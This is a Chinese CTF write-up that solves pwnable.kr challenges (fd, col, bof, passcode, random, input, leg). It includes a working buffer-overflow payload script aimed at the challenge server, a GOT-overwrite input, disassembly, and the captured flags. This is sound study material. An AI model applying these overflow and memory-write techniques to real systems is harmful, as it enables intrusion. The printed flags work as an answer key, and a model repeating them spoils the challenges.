pwn刷题 最近在练习pwn,pwnable.kr 这个网站有很多很有意思的pwn题,整理部分writeup
1.fd 源码如下:
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
第一题送分,文件描述符中0为标准输入,1为标准输出,2为标准错误输出,输入如下得到flag:
1 2 3 4 5 ./fd 4660 LETMEWIN good job :) flag: mommy! I think I know what a file descriptor is!!
2. col 源码如下:
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
输入20字节,每4字节作为一个整数,相加后得到 0x21DD09EC即可。由于是通过strlen判断长度,所以不能有0x00出现,将0x21DD09EC拆分成5个整数相加(0x01010101 + 0x01010101 + 0x01010101 + 0x01010101 + 0x1DD905E8)
1 2 3 ./col $(python -c 'print "\xE8\x05\xD9\x1D" + 16*"\x01"') flag : daddy! I just managed to create a hash collision :)
3.bof C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
用objdump看bof的反汇编,找到overflowme数组起始地址距离ebp的长度为0x2c(44),加上ebp,eip8字节,共要填充52字节:
python脚本跑出flag:
Python
1 2 3 4 5 6 7 8 9 from zio import * host = "143.248.249.64" port = 9000 io = zio((host,port),print_read=False,print_write=False) payload = "A"*52 + "\xbe\xba\xfe\xca" + "\n" io.write(payload+"\n") io.write("cat flag\n") buf = io.read_until("\n") print buf
4.flag ida打开发现程序被加壳了,用010editor打开发现是UPX的壳,用upx命令脱壳:
脱壳后用ida直接找到flag字符串 flag: UPX…? sounds like a delivery service
5.passcode 漏洞代码如下:
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
这段代码存在scanf误用,读入的数据并没有写入passcode1,passcode2,而是写入了passcode1,passcode2未被初始化时所存储的内容,经过gdb调试发现welcome函数中的name变量最后4字节刚好可以覆盖到passcode1(堆栈平衡之后并没有情况栈,所以栈中残留着局部变量name),这样就可以通过控制name的最后4字节达到任意地址写。
最简单的想法是让代码直接跳转到system(“/bin/cat flag”);但是又不能直接修改eip,这时想到了修改GOT表,直接把下一个要执行的函数地址改成输出flag的代码的起始地址,通过objdump找到system(“/bin/cat flag”);代码起始地址:
1 2 3 4 5 6 80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp) 80485d5: 75 1a jne 80485f1 <login+0x8d> 80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp) 80485de: e8 6d fe ff ff call 8048450 <puts@plt> 80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp) 80485ea: e8 71 fe ff ff call 8048460 <system@plt>
可以看到起始地址为0x80485e3。scanf下一句代码是fflush(stdin); 同样用objdump找到fflush的GOT表地址:
1 2 3 4 08048430 <fflush@plt>: 8048430: ff 25 04 a0 04 08 jmp *0x804a004 8048436: 68 08 00 00 00 push $0x8 804843b: e9 d0 ff ff ff jmp 8048410 <_init+0x30>
GOT表项地址为0x804a004 。最终构造shellcode输入:
1 python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147\n"' | ./passcode
134514147为0x80485e3的十进制数值(因为 %d是取出整数),得到flag:Sorry mom.. I got confused about scanf usage
6.random C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; }
c中的rand函数产生的是伪随机数,每次产生出的是固定值,在本地跑一下发现固定为1804289383,于0xdeadbeef异或后得到3039230856,输入后得到flag:
Mommy, I thought libc random is unpredictable…
这里主要考察Linux编程,题目如下:
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; //参数个数为100-1 ,argv[0]是程序路径及名称 if(strcmp(argv['A'],"\x00")) return 0;//argv[65] if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;//argv[66] printf("Stage 1 clear!\n"); // stdio 用管道重定向该进程的标准输入 char buf[4]; read(0, buf, 4);//从标准输入中读 if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4);//从标准错误输出中读 if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;//设置环境变量 printf("Stage 3 clear!\n"); // file 从文件\x0a中 读出4字节 判断是否为 \x00\x00\x00\x00 FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) );//监听端口为argv[67] if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; }
通过代码及注释如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #include<stdio.h> #include<string.h> #include<stdlib.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<unistd.h> int main() { char *argv[101]={0}; char *envp[2]={0}; int i; for(i=0;i<100;++i) { argv[i] = "a"; } argv['A'] = "\x00"; argv['B'] = "\x20\x0a\x0d"; argv['C'] = "12345";//服务器端监听端口 envp[0] = "\xde\xad\xbe\xef=\xca\xfe\xba\xbe";//环境变量 int pip1[2];//pip1[0]为读而开,pip1[1]为写而开, **往pip1[1]中写入的数据可以从pip1[0]中读出** int pip2[2]; if(pipe(pip1)<0||pipe(pip2)<0) { printf("pipe error!/n"); return ; } FILE* fp = fopen("\x0a", "wb"); if(!fp) { printf("file create error!\n"); exit(-1); } fwrite("\x00\x00\x00\x00", 4, 1, fp); fclose(fp); //fork之后,子进程会拷贝父进程的文件描述符表,并且将所有引用计数都加一,所以在父进程和子进程中都要close if(fork()==0) { //子进程 //要把父进的输出作为子进程的输入 dup2(pip1[0],0);//子进程从pip1[0]中读,而不是从标准输入0中读 close(pip1[1]); dup2(pip2[0],2); close(pip2[1]); execve("/home/input/input",argv,envp); }else{ sleep(1); close(pip1[0]); write(pip1[1],"\x00\x0a\x00\xff",4); close(pip2[0]); write(pip2[1],"\x00\x0a\x02\xff", 4); } //等待服务器建立好再连 sleep(5); int client_sockfd; int len; struct sockaddr_in remote_addr; //服务器端网络地址结构体 char buf[10]={0}; //数据传送的缓冲区 memset(&remote_addr,0,sizeof(remote_addr)); //数据初始化--清零 remote_addr.sin_family=AF_INET; //设置为IP通信 remote_addr.sin_addr.s_addr=inet_addr("127.0.0.1");//服务器IP地址 remote_addr.sin_port=htons(12345); //服务器端口号 /*创建客户端套接字--IPv4协议,面向连接通信,TCP协议*/ if((client_sockfd=socket(PF_INET,SOCK_STREAM,0))<0) { perror("socket"); return 1; } /*将套接字绑定到服务器的网络地址上*/ if(connect(client_sockfd,(struct sockaddr *)&remote_addr,sizeof(struct sockaddr))<0) { perror("connect"); return 1; } //printf("connected to server\n"); strcpy(buf,"\xde\xad\xbe\xef"); send(client_sockfd,buf,strlen(buf),0); close(client_sockfd);//关闭套接字 sleep(2); return 0; }
由于只有/tmp目录下才有写权限,而最后读flag的语句为 /bin/cat flag,所以要将flag文件链接到/tmp目录下,在/tmp目录下新建软链接:
1 ln -s /home/input/flag /tmp/flag
运行得到flag:Mommy! I learned how to pass various input in Linux
8.leg 这题是arm汇编,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); } int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); 0x00008ce4 char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0; }
关键是要找到key1,key2,key3的返回值。对于arm汇编要知道几点:
前4个参数分别放在R0,R1,R2,R3中,多出来的才存在栈上
函数返回值存在R0中
LR保存函数的返回地址(函数调用时的下一条指令地址)
PC保存当前指令的下2条指令地址,在arm模式下为 当前指令地址+8,在thumb模式下为 当前指令地址+4
先来看key1的汇编:
1 2 3 4 5 6 7 8 9 (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr
可以看到把PC的值作为返回值,在执行到mov r3,pc时,PC的值为0x8cdc+8,即0x8ce4。
key2的汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr
在key2中进行了arm到thumb的切换,其中add r6,pc #1只是为了跳转到thumb,跳转之后地址并没有加一。当执行到mov r3,pc时,PC的值为0x8d04+4,即0x8d08,后面再加上4得到返回值为0x8d0c。
key3的汇编:
1 2 3 4 5 6 7 8 9 (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr
key3中将lr的值作为返回值,lr的值为调用函数的下一条指令:
1 2 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0
所以key3返回值为0x8d80。所有返回值相加得到 0x8ce4 + 0x8d0c + 0x8d80 = 108400
得到flag为:My daddy has a lot of ARMv5te muscle!